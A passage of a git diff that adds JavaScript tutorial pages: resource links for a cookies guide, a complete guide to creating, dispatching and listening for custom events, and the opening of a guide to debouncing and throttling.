+ JavaScript API reference for reading and writing cookies. Includes security considerations and browser compatibility.
+
+
+ Complete reference for the Set-Cookie HTTP header and all its attributes. Essential for server-side cookie implementation.
+
+
+ Understanding third-party cookies, privacy implications, and the transition to a cookieless future.
+
+
+
+---
+
+## Articles
+
+
+
+ Clear, beginner-friendly JavaScript tutorial with practical helper functions. Includes interactive examples you can run in the browser.
+
+
+ Chrome team's definitive guide to SameSite attribute and CSRF protection. Essential reading for understanding modern cookie security.
+
+
+ Deep dive into cookie security from a web security expert. Covers attack vectors and defense strategies in detail.
+
+
+ Comprehensive overview of cookies for web developers. Great starting point with practical examples and clear explanations.
+
+
+
+---
+
+## Videos
+
+
+
+ Kyle Cook explains JWT tokens and their relationship to cookie-based authentication. Great for understanding when to use cookies vs tokens for sessions.
+
+
+ Fast-paced comparison of browser storage options. Perfect for understanding when to use each storage mechanism.
+
+
+ Deep technical explanation of how cookies work at the HTTP level. Covers headers, attributes, and security in detail.
+
+
diff --git a/docs/beyond/concepts/custom-events.mdx b/docs/beyond/concepts/custom-events.mdx
new file mode 100644
index 00000000..28bfd02b
--- /dev/null
+++ b/docs/beyond/concepts/custom-events.mdx
@@ -0,0 +1,909 @@
+---
+title: "Custom Events: Create Your Own Events in JavaScript"
+sidebarTitle: "Custom Events"
+description: "Learn JavaScript custom events. Create, dispatch, and listen for CustomEvent, pass data with the detail property, and build decoupled event-driven architectures."
+---
+
+What if you could create your own events, just like `click` or `submit`? What if a shopping cart could announce "item added!" and any part of your app could listen and respond? How do you build components that communicate without knowing about each other?
+
+```javascript
+// Create a custom event with data
+const event = new CustomEvent('userLoggedIn', {
+ detail: { username: 'alice', timestamp: Date.now() }
+})
+
+// Listen for the event anywhere in your app
+document.addEventListener('userLoggedIn', (e) => {
+ console.log(`Welcome, ${e.detail.username}!`)
+})
+
+// Dispatch the event
+document.dispatchEvent(event) // "Welcome, alice!"
+```
+
+The answer is **custom events**. They let you create your own event types, attach any data you want, and build applications where components communicate through events instead of direct function calls.
+
+
+**What you'll learn in this guide:**
+- Creating events with the [`CustomEvent`](https://developer.mozilla.org/en-US/docs/Web/API/CustomEvent) constructor
+- Dispatching events with [`dispatchEvent()`](https://developer.mozilla.org/en-US/docs/Web/API/EventTarget/dispatchEvent)
+- Passing data through the [`detail`](https://developer.mozilla.org/en-US/docs/Web/API/CustomEvent/detail) property
+- Event options: `bubbles`, `cancelable`, and when to use them
+- Building decoupled component communication
+- Differences between custom events and native browser events
+
+
+
+**Prerequisites:** This guide assumes you understand [Event Bubbling and Capturing](/beyond/concepts/event-bubbling-capturing). If you're not familiar with how events propagate through the DOM, read that guide first.
+
+
+---
+
+## What is a Custom Event?
+
+A **[custom event](https://developer.mozilla.org/en-US/docs/Web/API/CustomEvent)** is a developer-defined event that you create, dispatch, and listen for in JavaScript. Unlike built-in events like `click` or `keydown` triggered by user actions, custom events are triggered programmatically using `dispatchEvent()`. The `CustomEvent` constructor extends the base `Event` interface, adding a `detail` property for passing data to listeners.
+
+
+Custom events work with any [`EventTarget`](https://developer.mozilla.org/en-US/docs/Web/API/EventTarget), including DOM elements, the `document`, `window`, and even custom objects that extend `EventTarget`.
+
+
+---
+
+## The Radio Station Analogy
+
+Think of custom events like a radio broadcast:
+
+1. **The radio station (dispatcher)** broadcasts a message on a specific frequency
+2. **Anyone with a radio (listeners)** tuned to that frequency receives the message
+3. **The station doesn't know who's listening** - it just broadcasts
+4. **Listeners don't need to know where the station is** - they just tune in
+
+```
+┌─────────────────────────────────────────────────────────────────────────────┐
+│ CUSTOM EVENTS: THE RADIO ANALOGY │
+├─────────────────────────────────────────────────────────────────────────────┤
+│ │
+│ BROADCASTING (Dispatching) │
+│ ───────────────────────── │
+│ │
+│ ┌─────────────┐ │
+│ │ STATION │ ──── dispatchEvent() ────► 📻 "cart:updated" │
+│ │ (Element) │ frequency (event type) │
+│ └─────────────┘ │
+│ │
+│ LISTENING (Subscribing) │
+│ ─────────────────────── │
+│ │
+│ 📻 "cart:updated" │
+│ │ │
+│ ┌─────────┼─────────┐ │
+│ ▼ ▼ ▼ │
+│ ┌────────┐ ┌────────┐ ┌────────┐ │
+│ │ Header │ │ Badge │ │ Total │ All tuned to same frequency │
+│ │Counter │ │ Icon │ │Display │ All receive the broadcast │
+│ └────────┘ └────────┘ └────────┘ │
+│ │
+│ The station doesn't know (or care) who's listening. │
+│ Listeners don't know (or care) where the broadcast comes from. │
+│ │
+└─────────────────────────────────────────────────────────────────────────────┘
+```
+
+This decoupling is the superpower of custom events. Components can communicate without importing each other or knowing each other exists.
+
+---
+
+## Creating Custom Events
+
+### The CustomEvent Constructor
+
+To create a custom event, use the [`CustomEvent`](https://developer.mozilla.org/en-US/docs/Web/API/CustomEvent/CustomEvent) constructor:
+
+```javascript
+const event = new CustomEvent('eventName', options)
+```
+
+The constructor takes two arguments:
+1. **`type`** (required) - A string for the event name (case-sensitive)
+2. **`options`** (optional) - An object with configuration
+
+```javascript
+// Simplest custom event - just a name
+const simpleEvent = new CustomEvent('hello')
+
+// Custom event with data
+const dataEvent = new CustomEvent('userAction', {
+ detail: { action: 'click', target: 'button' }
+})
+
+// Custom event with all options
+const fullEvent = new CustomEvent('formSubmit', {
+ detail: { formId: 'login', data: { user: 'alice' } },
+ bubbles: true, // Event bubbles up the DOM
+ cancelable: true // preventDefault() will work
+})
+```
+
+### Event Options Explained
+
+| Option | Default | Description |
+|--------|---------|-------------|
+| `detail` | `null` | Any data you want to pass to listeners |
+| `bubbles` | `false` | If `true`, event propagates up through ancestors |
+| `cancelable` | `false` | If `true`, `preventDefault()` can cancel the event |
+| `composed` | `false` | If `true`, event can cross shadow DOM boundaries |
+
+
+**Naming convention:** Use lowercase with colons or hyphens for namespacing: `cart:updated`, `user:logged-in`, `modal-opened`. This prevents collision with future browser events and makes your events easy to identify.
+
+
+---
+
+## Passing Data with detail
+
+The `detail` property is what makes `CustomEvent` special. It can hold any JavaScript value:
+
+```javascript
+// Primitive values
+new CustomEvent('count', { detail: 42 })
+new CustomEvent('message', { detail: 'Hello!' })
+
+// Objects (most common)
+new CustomEvent('userLoggedIn', {
+ detail: {
+ userId: 123,
+ username: 'alice',
+ timestamp: Date.now()
+ }
+})
+
+// Arrays
+new CustomEvent('itemsSelected', {
+ detail: ['item1', 'item2', 'item3']
+})
+
+// Even functions (though rarely needed)
+new CustomEvent('callback', {
+ detail: { getText: () => document.title }
+})
+```
+
+### Accessing detail in Listeners
+
+The `detail` property is read-only and accessed through the event object:
+
+```javascript
+document.addEventListener('userLoggedIn', (event) => {
+ // Access the detail property
+ console.log(event.detail.username) // "alice"
+ console.log(event.detail.userId) // 123
+
+ // detail is read-only - this won't work
+ event.detail = { different: 'data' } // Silently fails
+
+ // But you CAN mutate the object's properties (not recommended)
+ event.detail.username = 'bob' // Works, but avoid this
+})
+```
+
+
+The `detail` property itself is read-only, but if it contains an object, that object's properties can be mutated. Avoid mutating `event.detail` in listeners as it can cause confusing bugs when multiple listeners handle the same event.
+
+
+---
+
+## Dispatching Events
+
+### The dispatchEvent() Method
+
+To trigger a custom event, call [`dispatchEvent()`](https://developer.mozilla.org/en-US/docs/Web/API/EventTarget/dispatchEvent) on any element:
+
+```javascript
+const button = document.querySelector('#myButton')
+
+// Create the event
+const event = new CustomEvent('customClick', {
+ detail: { clickCount: 5 }
+})
+
+// Dispatch it on the button
+button.dispatchEvent(event)
+```
+
+### Dispatching on Different Targets
+
+You can dispatch events on any `EventTarget`:
+
+```javascript
+// On a specific element
+document.querySelector('#cart').dispatchEvent(event)
+
+// On the document (global events)
+document.dispatchEvent(event)
+
+// On window (also global)
+window.dispatchEvent(event)
+
+// On any element
+someElement.dispatchEvent(event)
+```
+
+
+
+ ```javascript
+ // Good for component-specific events
+ const cart = document.querySelector('#shopping-cart')
+
+ cart.addEventListener('cart:updated', (e) => {
+ console.log('Cart changed:', e.detail.items)
+ })
+
+ // Later, when cart changes...
+ cart.dispatchEvent(new CustomEvent('cart:updated', {
+ detail: { items: ['apple', 'banana'] }
+ }))
+ ```
+
+
+ ```javascript
+ // Good for app-wide events
+ document.addEventListener('app:themeChanged', (e) => {
+ console.log('Theme is now:', e.detail.theme)
+ })
+
+ // From anywhere in the app...
+ document.dispatchEvent(new CustomEvent('app:themeChanged', {
+ detail: { theme: 'dark' }
+ }))
+ ```
+
+
+
+### Important: dispatchEvent is Synchronous
+
+Unlike native browser events (which are processed asynchronously through the event loop), `dispatchEvent()` is **synchronous**. All listeners execute immediately before `dispatchEvent()` returns:
+
+```javascript
+console.log('1: Before dispatch')
+
+document.addEventListener('myEvent', () => {
+ console.log('2: Inside listener')
+})
+
+document.dispatchEvent(new CustomEvent('myEvent'))
+
+console.log('3: After dispatch')
+
+// Output:
+// 1: Before dispatch
+// 2: Inside listener <-- Runs immediately!
+// 3: After dispatch
+```
+
+
+This synchronous behavior means you can use the return value of `dispatchEvent()` to check if any listener called `preventDefault()`.
+
+
+---
+
+## Listening for Custom Events
+
+Use [`addEventListener()`](https://developer.mozilla.org/en-US/docs/Web/API/EventTarget/addEventListener) to listen for custom events, just like native events:
+
+```javascript
+// Add a listener
+element.addEventListener('myCustomEvent', (event) => {
+ console.log('Received:', event.detail)
+})
+
+// You can add multiple listeners for the same event
+element.addEventListener('myCustomEvent', handler1)
+element.addEventListener('myCustomEvent', handler2) // Both will fire
+
+// Remove a listener when no longer needed
+element.removeEventListener('myCustomEvent', handler1)
+```
+
+
+**Don't use `on` properties for custom events!** Unlike built-in events, custom events don't have corresponding `onevent` properties. `element.onmyCustomEvent` won't work - you must use `addEventListener()`.
+
+```javascript
+// ✗ This doesn't work
+element.onmyCustomEvent = handler // undefined, does nothing
+
+// ✓ This works
+element.addEventListener('myCustomEvent', handler)
+```
+
+
+---
+
+## Event Bubbling with Custom Events
+
+By default, custom events **don't bubble**. Set `bubbles: true` if you want the event to propagate up through ancestor elements:
+
+```javascript
+// Without bubbles (default) - only direct listeners receive the event
+const nonBubblingEvent = new CustomEvent('test', {
+ detail: { value: 1 }
+})
+
+// With bubbles - ancestors can also listen
+const bubblingEvent = new CustomEvent('test', {
+ detail: { value: 2 },
+ bubbles: true
+})
+```
+
+### Bubbling Example
+
+```javascript
+// HTML:
+
+const parent = document.querySelector('#parent')
+const child = document.querySelector('#child')
+
+// Listen on parent
+parent.addEventListener('customClick', (e) => {
+ console.log('Parent heard:', e.detail.message)
+})
+
+// Dispatch from child WITHOUT bubbles
+child.dispatchEvent(new CustomEvent('customClick', {
+ detail: { message: 'no bubbles' }
+}))
+// Parent hears nothing!
+
+// Dispatch from child WITH bubbles
+child.dispatchEvent(new CustomEvent('customClick', {
+ detail: { message: 'with bubbles' },
+ bubbles: true
+}))
+// Parent logs: "Parent heard: with bubbles"
+```
+
+
+Use `bubbles: true` when you want ancestor elements to be able to listen for events from their descendants. This is essential for [Event Delegation](/beyond/concepts/event-delegation) patterns.
+
+
+---
+
+## Canceling Custom Events
+
+If you create an event with `cancelable: true`, listeners can call `preventDefault()` to signal that the default action should be canceled:
+
+```javascript
+const button = document.querySelector('#deleteButton')
+
+// Listener can prevent the action
+document.addEventListener('item:delete', (event) => {
+ if (!confirm('Are you sure you want to delete?')) {
+ event.preventDefault() // Signal cancellation
+ }
+})
+
+// Dispatch and check if it was canceled
+function deleteItem(itemId) {
+ const event = new CustomEvent('item:delete', {
+ detail: { itemId },
+ cancelable: true // Required for preventDefault to work!
+ })
+
+ const wasAllowed = button.dispatchEvent(event)
+
+ if (wasAllowed) {
+ // No listener called preventDefault
+ console.log('Deleting item:', itemId)
+ } else {
+ // A listener called preventDefault
+ console.log('Deletion was canceled')
+ }
+}
+```
+
+### Return Value of dispatchEvent
+
+`dispatchEvent()` returns:
+- `true` if no listener called `preventDefault()`
+- `false` if any listener called `preventDefault()` (and event was `cancelable`)
+
+```javascript
+const event = new CustomEvent('action', { cancelable: true })
+
+element.addEventListener('action', (e) => {
+ e.preventDefault()
+})
+
+const result = element.dispatchEvent(event)
+console.log(result) // false - event was canceled
+```
+
+---
+
+## Component Communication Pattern
+
+Custom events shine when building decoupled components that need to communicate:
+
+```javascript
+// Shopping Cart Component
+class ShoppingCart {
+ constructor(element) {
+ this.element = element
+ this.items = []
+ }
+
+ addItem(item) {
+ this.items.push(item)
+
+ // Announce the change - anyone can listen!
+ this.element.dispatchEvent(new CustomEvent('cart:itemAdded', {
+ detail: { item, totalItems: this.items.length },
+ bubbles: true
+ }))
+ }
+
+ removeItem(itemId) {
+ this.items = this.items.filter(i => i.id !== itemId)
+
+ this.element.dispatchEvent(new CustomEvent('cart:itemRemoved', {
+ detail: { itemId, totalItems: this.items.length },
+ bubbles: true
+ }))
+ }
+}
+
+// Header Badge - listens for cart events
+class CartBadge {
+ constructor(element) {
+ this.element = element
+
+ // Listen for ANY cart event that bubbles up
+ document.addEventListener('cart:itemAdded', (e) => {
+ this.update(e.detail.totalItems)
+ })
+
+ document.addEventListener('cart:itemRemoved', (e) => {
+ this.update(e.detail.totalItems)
+ })
+ }
+
+ update(count) {
+ this.element.textContent = count
+ }
+}
+
+// These components don't import each other - they communicate through events!
+```
+
+This pattern keeps components loosely coupled. The cart doesn't know the badge exists, and the badge doesn't know where cart events come from.
+
+---
+
+## Custom Events vs Native Events
+
+### The isTrusted Property
+
+One key difference: custom events have `event.isTrusted` set to `false`:
+
+```javascript
+// Native click from user
+button.addEventListener('click', (e) => {
+ console.log(e.isTrusted) // true - real user action
+})
+
+// Custom event from code
+button.addEventListener('customClick', (e) => {
+ console.log(e.isTrusted) // false - script-generated
+})
+
+button.dispatchEvent(new CustomEvent('customClick'))
+```
+
+### Key Differences Table
+
+| Feature | Native Events | Custom Events |
+|---------|--------------|---------------|
+| Triggered by | Browser/User | Your code |
+| `isTrusted` | `true` | `false` |
+| Processing | Asynchronous | Synchronous |
+| `on*` properties | Yes (`onclick`) | No |
+| `detail` property | No | Yes |
+| Default `bubbles` | Varies by event | `false` |
+
+---
+
+## Common Mistakes
+
+
+
+ The most common mistake is expecting events to bubble when they don't:
+
+ ```javascript
+ // ✗ Won't bubble - parent won't hear it
+ child.dispatchEvent(new CustomEvent('notify', {
+ detail: { message: 'hello' }
+ }))
+
+ // ✓ Will bubble up to ancestors
+ child.dispatchEvent(new CustomEvent('notify', {
+ detail: { message: 'hello' },
+ bubbles: true
+ }))
+ ```
+
+
+
+ Custom events don't have corresponding `on*` properties:
+
+ ```javascript
+ // ✗ Does nothing - onmyEvent doesn't exist
+ element.onmyEvent = () => console.log('fired')
+
+ // ✓ Use addEventListener instead
+ element.addEventListener('myEvent', () => console.log('fired'))
+ ```
+
+
+
+ Events only reach listeners on the target and (if bubbling) its ancestors:
+
+ ```javascript
+ // Listener on #sidebar
+ sidebar.addEventListener('update', handler)
+
+ // ✗ Dispatching on #header - sidebar won't hear it
+ header.dispatchEvent(new CustomEvent('update'))
+
+ // ✓ Dispatch on document for truly global events
+ document.dispatchEvent(new CustomEvent('update'))
+ ```
+
+
+
+ `preventDefault()` silently does nothing without `cancelable: true`:
+
+ ```javascript
+ // ✗ preventDefault won't work
+ const event = new CustomEvent('submit')
+ element.addEventListener('submit', e => e.preventDefault())
+ element.dispatchEvent(event) // Returns true even with preventDefault!
+
+ // ✓ Add cancelable: true
+ const event = new CustomEvent('submit', { cancelable: true })
+ ```
+
+
+
+ Unlike native events, `dispatchEvent()` is synchronous:
+
+ ```javascript
+ let value = 'before'
+
+ element.addEventListener('sync', () => {
+ value = 'inside'
+ })
+
+ element.dispatchEvent(new CustomEvent('sync'))
+
+ // value is 'inside' immediately - not 'before'!
+ console.log(value) // "inside"
+ ```
+
+
+
+---
+
+## Best Practices
+
+
+
+ Prefix event names to avoid collisions and improve clarity:
+
+ ```javascript
+ // ✓ Good - clear namespace
+ new CustomEvent('cart:itemAdded')
+ new CustomEvent('modal:opened')
+ new CustomEvent('user:loggedIn')
+
+ // ✗ Avoid - could conflict with future browser events
+ new CustomEvent('update')
+ new CustomEvent('change')
+ ```
+
+
+
+ Pass enough information for listeners to act without needing other context:
+
+ ```javascript
+ // ✗ Not enough context
+ new CustomEvent('item:deleted', {
+ detail: { success: true }
+ })
+
+ // ✓ Includes all relevant data
+ new CustomEvent('item:deleted', {
+ detail: {
+ itemId: 123,
+ itemName: 'Widget',
+ deletedAt: Date.now(),
+ remainingItems: 5
+ }
+ })
+ ```
+
+
+
+ Treat custom events like an API - document what they do and what data they carry:
+
+ ```javascript
+ /**
+ * Fired when an item is added to the cart
+ * @event cart:itemAdded
+ * @type {CustomEvent}
+ * @property {Object} detail
+ * @property {string} detail.itemId - The ID of the added item
+ * @property {string} detail.itemName - The name of the item
+ * @property {number} detail.quantity - Quantity added
+ * @property {number} detail.totalItems - New total items in cart
+ */
+ ```
+
+
+
+ Remove listeners when components are destroyed to prevent memory leaks:
+
+ ```javascript
+ class Component {
+ constructor() {
+ this.handleEvent = this.handleEvent.bind(this)
+ document.addEventListener('app:update', this.handleEvent)
+ }
+
+ handleEvent(e) {
+ // Handle the event
+ }
+
+ destroy() {
+ // Clean up!
+ document.removeEventListener('app:update', this.handleEvent)
+ }
+ }
+ ```
+
+
+
+---
+
+## Key Takeaways
+
+
+**The key things to remember about Custom Events:**
+
+1. **Create with `new CustomEvent(type, options)`** - The constructor takes an event name and optional configuration object
+
+2. **Pass data with `detail`** - The `detail` property can hold any JavaScript value and is accessible in listeners via `event.detail`
+
+3. **Dispatch with `dispatchEvent()`** - Call this method on any element to fire the event; it executes synchronously
+
+4. **Set `bubbles: true` for propagation** - By default, custom events don't bubble; enable it explicitly if needed
+
+5. **Set `cancelable: true` for `preventDefault()`** - Without this option, `preventDefault()` silently does nothing
+
+6. **Use `addEventListener()`, not `on*`** - Custom events don't have corresponding `onclick`-style properties
+
+7. **Custom events have `isTrusted: false`** - This distinguishes them from real user-initiated events
+
+8. **Dispatch returns whether event was canceled** - `dispatchEvent()` returns `false` if any listener called `preventDefault()`
+
+9. **Use namespaced event names** - Prefix with component/feature name like `cart:updated` or `modal:closed`
+
+10. **Events enable loose coupling** - Components can communicate without importing or knowing about each other
+
+
+---
+
+## Test Your Knowledge
+
+
+
+ ```javascript
+ const event = new CustomEvent('test', {
+ detail: { value: 42 }
+ })
+
+ console.log(event.detail.value)
+ console.log(event.isTrusted)
+ ```
+
+ **Answer:**
+ ```
+ 42
+ false
+ ```
+
+ The `detail.value` is `42` as set in the constructor. `isTrusted` is `false` because the event was created programmatically, not by a real user action.
+
+
+
+ ```javascript
+ // HTML:
+
+ parent.addEventListener('notify', () => console.log('Parent heard it'))
+
+ child.dispatchEvent(new CustomEvent('notify', {
+ detail: { message: 'hello' }
+ }))
+ ```
+
+ **Answer:**
+
+ No, the parent will not hear the event. Custom events have `bubbles: false` by default. To make it bubble up to the parent, add `bubbles: true`:
+
+ ```javascript
+ child.dispatchEvent(new CustomEvent('notify', {
+ detail: { message: 'hello' },
+ bubbles: true
+ }))
+ ```
+
+
+
+ ```javascript
+ const event = new CustomEvent('action', { cancelable: true })
+
+ element.addEventListener('action', (e) => {
+ e.preventDefault()
+ })
+
+ const result = element.dispatchEvent(event)
+ console.log(result)
+ ```
+
+ **Answer:**
+
+ `false`
+
+ `dispatchEvent()` returns `false` when any listener calls `preventDefault()` on a cancelable event. This is useful for checking if an action should proceed.
+
+
+
+ ```javascript
+ element.oncustomEvent = () => console.log('Fired!')
+ element.dispatchEvent(new CustomEvent('customEvent'))
+ ```
+
+ **Answer:**
+
+ Custom events don't have corresponding `on*` properties like native events do. The `oncustomEvent` property doesn't exist and is just set to a function that's never called.
+
+ Use `addEventListener()` instead:
+
+ ```javascript
+ element.addEventListener('customEvent', () => console.log('Fired!'))
+ element.dispatchEvent(new CustomEvent('customEvent'))
+ ```
+
+
+
+ ```javascript
+ console.log('1')
+
+ document.addEventListener('test', () => console.log('2'))
+
+ document.dispatchEvent(new CustomEvent('test'))
+
+ console.log('3')
+ ```
+
+ **Answer:**
+
+ ```
+ 1
+ 2
+ 3
+ ```
+
+ Unlike native browser events, `dispatchEvent()` is **synchronous**. The event handler runs immediately when `dispatchEvent()` is called, before the next line executes.
+
+
+
+ **Answer:**
+
+ 1. Create the event with `cancelable: true`
+ 2. Check the return value of `dispatchEvent()`
+
+ ```javascript
+ const event = new CustomEvent('beforeDelete', {
+ detail: { itemId: 123 },
+ cancelable: true
+ })
+
+ element.addEventListener('beforeDelete', (e) => {
+ if (!userConfirmed) {
+ e.preventDefault()
+ }
+ })
+
+ const shouldProceed = element.dispatchEvent(event)
+
+ if (shouldProceed) {
+ deleteItem(123)
+ } else {
+ console.log('Deletion was canceled')
+ }
+ ```
+
+
+
+---
+
+## Related Concepts
+
+
+
+ Understand how events propagate through the DOM tree
+
+
+ Handle events efficiently using bubbling and a single listener
+
+
+ Learn how to work with DOM elements and events
+
+
+ Functions that work with other functions - useful for event handlers
+
+
+
+---
+
+## References
+
+
+
+ Official reference for the CustomEvent interface, constructor, and detail property
+
+
+ Detailed syntax and parameters for creating CustomEvent instances
+
+
+ How to dispatch events on EventTarget objects with synchronous execution
+
+
+ Comprehensive MDN guide covering event creation, bubbling, and registration
+
+
+
+---
+
+## Articles
+
+
+
+ Comprehensive tutorial covering Event constructor, CustomEvent, bubbling, and synchronous dispatch behavior with interactive examples
+
+
+ Complete guide to custom events covering creation, dispatching, and real-world component communication patterns
+
+
+ Concise explanation of CustomEvent with clear code examples and browser compatibility notes
+
+
+ Step-by-step tutorial covering CustomEvent basics with practical examples for DOM interactions
+
+
+
+---
+
+## Videos
+
+
+
+ Clear 10-minute explanation of creating, dispatching, and listening for custom events with practical examples
+
+
+ Hands-on tutorial showing how to build decoupled component communication using CustomEvent
+
+
+ Quick beginner-friendly overview of the CustomEvent API with live coding demonstrations
+
+
diff --git a/docs/beyond/concepts/debouncing-throttling.mdx b/docs/beyond/concepts/debouncing-throttling.mdx
new file mode 100644
index 00000000..073218b8
--- /dev/null
+++ b/docs/beyond/concepts/debouncing-throttling.mdx
@@ -0,0 +1,1054 @@
+---
+title: "Debouncing & Throttling: Control Event Frequency in JS"
+sidebarTitle: "Debouncing & Throttling: Control Event Frequency"
+description: "Learn debouncing and throttling in JavaScript. Optimize event handlers, reduce API calls, and implement both patterns from scratch with real-world examples."
+---
+
+What happens when a user types in a search box at 60 characters per minute? Or when they scroll through your page, triggering hundreds of events per second? Without proper handling, your application can grind to a halt, making unnecessary API calls or blocking the main thread with expensive computations.
+
+```javascript
+// Without debouncing: 60 API calls per minute while typing
+searchInput.addEventListener('input', (e) => {
+ fetchSearchResults(e.target.value) // Called on EVERY keystroke!
+})
+
+// With debouncing: 1 API call after user stops typing
+searchInput.addEventListener('input', debounce((e) => {
+ fetchSearchResults(e.target.value) // Called once, 300ms after last keystroke
+}, 300))
+```
+
+**[Debouncing](https://developer.mozilla.org/en-US/docs/Glossary/Debounce)** and **[throttling](https://developer.mozilla.org/en-US/docs/Glossary/Throttle)** are two techniques that control how often a function can execute. They're essential for handling high-frequency events like scrolling, resizing, typing, and mouse movement without destroying your app's performance.
+
+
+**What you'll learn in this guide:**
+- The difference between debouncing and throttling
+- When to use debounce vs throttle (with decision flowchart)
+- How to implement both patterns from scratch
+- Leading edge vs trailing edge execution
+- Real-world use cases: search, scroll, resize, button clicks
+- How to use Lodash for production-ready implementations
+- Common mistakes and how to avoid them
+
+
+
+**Prerequisite:** This guide assumes you understand [Closures](/concepts/scope-and-closures) and [Higher-Order Functions](/concepts/higher-order-functions). Both debounce and throttle are higher-order functions that use closures to maintain state between calls.
+
+
+---
+
+## What is Debouncing?
+
+**Debouncing** delays the execution of a function until a specified time has passed since the last call. If the function is called again before the delay expires, the timer resets. The function only executes when the calls stop coming for the specified duration. Under the hood, debounce uses `setTimeout` to schedule the [callback](/concepts/callbacks) after the delay.
+
+Think of debouncing like an elevator door. When someone approaches, the door stays open. If another person arrives, the timer resets and the door stays open longer. The door only closes after no one has approached for a few seconds. The elevator optimizes by waiting for all passengers before moving.
+
+```javascript
+function debounce(fn, delay) {
+ let timeoutId
+
+ return function(...args) {
+ // Clear any existing timer
+ clearTimeout(timeoutId)
+
+ // Set a new timer
+ timeoutId = setTimeout(() => {
+ fn.apply(this, args)
+ }, delay)
+ }
+}
+
+// Usage: Only search after user stops typing for 300ms
+const debouncedSearch = debounce((query) => {
+ console.log('Searching for:', query)
+ fetchSearchResults(query)
+}, 300)
+
+input.addEventListener('input', (e) => {
+ debouncedSearch(e.target.value)
+})
+```
+
+### How Debounce Works Step by Step
+
+Let's trace through what happens when a user types "hello" quickly:
+
+```
+User types: h e l l o [stops]
+ │ │ │ │ │ │
+Time (ms): 0 50 100 150 200 500
+ │ │ │ │ │ │
+Timer: start reset reset reset reset FIRES!
+ │ │ │ │ │ │
+ └── fn('hello') executes
+```
+
+1. User types "h" — timer starts (300ms countdown)
+2. User types "e" (50ms later) — timer resets (new 300ms countdown)
+3. User types "l" (100ms later) — timer resets again
+4. User types another "l" (150ms later) — timer resets again
+5. User types "o" (200ms later) — timer resets again
+6. User stops typing — timer expires after 300ms
+7. **Function executes once** with "hello"
+
+
+
+ Official MDN definition of debouncing with examples
+
+
+ The timer API that powers debounce implementations
+
+
+
+---
+
+## What is Throttling?
+
+**Throttling** ensures a function executes at most once within a specified time interval. Unlike debouncing, throttling guarantees regular execution during continuous events — it doesn't wait for events to stop.
+
+Think of throttling like a water faucet with a flow restrictor. No matter how much you turn the handle, water only flows at a maximum rate. The restrictor ensures consistent output regardless of input pressure.
+
+```javascript
+function throttle(fn, interval) {
+ let lastTime = 0
+
+ return function(...args) {
+ const now = Date.now()
+
+ // Only execute if enough time has passed
+ if (now - lastTime >= interval) {
+ lastTime = now
+ fn.apply(this, args)
+ }
+ }
+}
+
+// Usage: Update position at most every 100ms while scrolling
+const throttledScroll = throttle(() => {
+ console.log('Scroll position:', window.scrollY)
+ updateScrollIndicator()
+}, 100)
+
+window.addEventListener('scroll', throttledScroll)
+```
+
+### How Throttle Works Step by Step
+
+Let's trace through what happens during continuous scrolling:
+
+```
+Scroll events: ─●──●──●──●──●──●──●──●──●──●──●──●──●──●──●─►
+ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │
+Time (ms): 0 10 20 30 40 50 60 70 80 90 100 110 120...
+ │ │ │
+Executes: ✓ (first call) ✓ (100ms) ✓ (200ms)
+ └──────────────────────────┴──────────────┴──►
+```
+
+1. First scroll event at 0ms — function executes immediately
+2. Events at 10ms, 20ms... 90ms — ignored (within 100ms window)
+3. Event at 100ms — function executes (100ms has passed)
+4. Events at 110ms, 120ms... 190ms — ignored
+5. Event at 200ms — function executes again
+
+**Key difference:** Throttle guarantees the function runs every X milliseconds during continuous activity. Debounce waits for activity to stop.
+
+
+
+ Official MDN definition of throttling with examples
+
+
+ The timestamp API used in throttle implementations
+
+
+
+---
+
+## Debounce vs Throttle: Visual Comparison
+
+Here's how they differ when handling the same stream of events:
+
+```
+┌─────────────────────────────────────────────────────────────────────────────┐
+│ DEBOUNCE VS THROTTLE COMPARISON │
+├─────────────────────────────────────────────────────────────────────────────┤
+│ │
+│ Raw Events (e.g., keystrokes, scroll): │
+│ ─●─●─●─●─●─●─●─●─●─●─●─●─●─●─●─●───────────●─●─●─●─●────────► │
+│ └─────────────────────────────┘ └─────────┘ │
+│ Burst 1 Burst 2 │
+│ │
+│ ─────────────────────────────────────────────────────────────────────────── │
+│ │
+│ DEBOUNCE (300ms): │
+│ Waits for events to stop, then fires once │
+│ │
+│ ────────────────────────────────────●────────────────────●────────► │
+│ │ │ │
+│ Fires! Fires! │
+│ (300ms after (300ms after │
+│ last event) last event) │
+│ │
+│ ─────────────────────────────────────────────────────────────────────────── │
+│ │
+│ THROTTLE (100ms): │
+│ Fires at regular intervals during activity │
+│ │
+│ ─●───────●───────●───────●───────●────────●───────●───────●────► │
+│ │ │ │ │ │ │ │ │ │
+│ 0ms 100ms 200ms 300ms 400ms ...ms ...ms ...ms │
+│ │
+│ Guarantees execution every 100ms while events continue │
+│ │
+└─────────────────────────────────────────────────────────────────────────────┘
+```
+
+| Aspect | Debounce | Throttle |
+|--------|----------|----------|
+| **Executes** | After events stop | During events, at intervals |
+| **Guarantees** | Single execution per burst | Regular execution rate |
+| **Best for** | Final value matters (search) | Continuous updates (scroll position) |
+| **During 1000ms of events** | 1 execution (at end) | ~10 executions (every 100ms) |
+
+---
+
+## When to Use Which: Decision Flowchart
+
+Use this flowchart to decide between debounce and throttle:
+
+```
+┌─────────────────────────────────────────────────────────────────────────────┐
+│ WHICH TECHNIQUE SHOULD I USE? │
+├─────────────────────────────────────────────────────────────────────────────┤
+│ │
+│ ┌─────────────────────────┐ │
+│ │ You have a function │ │
+│ │ being called too often │ │
+│ └───────────┬─────────────┘ │
+│ │ │
+│ ▼ │
+│ ┌────────────────────────────────────────┐ │
+│ │ Do you need updates DURING activity? │ │
+│ └────────────────────┬───────────────────┘ │
+│ ┌───────────┴───────────┐ │
+│ │ │ │
+│ YES NO │
+│ │ │ │
+│ ▼ ▼ │
+│ ┌─────────────────┐ ┌─────────────────────┐ │
+│ │ THROTTLE │ │ Do you only care │ │
+│ │ │ │ about the FINAL │ │
+│ │ • Scroll │ │ value? │ │
+│ │ • Resize │ └──────────┬──────────┘ │
+│ │ • Mouse move │ ┌────┴────┐ │
+│ │ • Game loops │ YES NO │
+│ │ • Progress │ │ │ │
+│ │ │ ▼ ▼ │
+│ └─────────────────┘ ┌────────────┐ ┌────────────┐ │
+│ │ DEBOUNCE │ │ Consider │ │
+│ │ │ │ both or │ │
+│ │ • Search │ │ leading │ │
+│ │ • Auto-save│ │ debounce │ │
+│ │ • Validate │ │ │ │
+│ │ • Resize │ └────────────┘ │
+│ │ (final) │ │
